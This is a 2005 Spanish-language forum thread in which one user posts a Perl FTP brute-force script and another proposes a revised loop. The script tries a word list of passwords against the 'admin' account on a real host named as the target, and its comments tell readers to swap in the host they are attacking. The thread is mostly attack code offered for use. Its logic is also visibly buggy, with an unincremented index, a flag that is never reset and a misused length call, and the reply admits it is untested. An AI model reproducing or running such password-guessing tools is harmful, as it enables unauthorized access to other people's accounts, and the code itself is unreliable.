Título: ~Mi primer Ftp Brute Force en Perl.~
Publicado por: sikik en 27 Junio 2005, 14:45 pm
Estos dias de vacas me he puesto a programar un poco de perl, y esta mañana he terminado un brute force en perl, os dejo aqui el code #!/usr/bin/perl #este programa va probando palabras de la lista @letras hasta que encuentra la contraseña correcta. #este script esta hecho por sikik, bajo licencia bsd. use Net::FTP; $username=admin; #se podria hacer tambien en brute force, pero seria muy lento. $dead=0; while(1) { @letras=(a, b, c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga. $password=@letras[$posicion]; $ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos. $ftp->login($username, $password) or $dead=1; if($dead==0) { die("Contraseña encontrada, el password es: $password"); } };
Título: Re: ~Mi primer Ftp Brute Force en Perl.~
Publicado por: pepel en 27 Junio 2005, 15:50 pm
tal y como esta hecho puede que repitas varias veces el mismo pass = Poco optimo.(al igual que ya que no vamos acambiar el array letras, mejor ponerlo fuera del bucle) mejor si cambias el bucle por este: @letras=(a, b, c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga. $posicion=0; while( $posicion < length(letras )) { $posicion=$posicion+1; $password=@letras[$posicion]; $ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos. $ftp->login($username, $password) or $dead=1; if($dead==0) { die("Contraseña encontrada, el password es: $password"); } };
saludos, pepel P.D. codigo no probado xD
|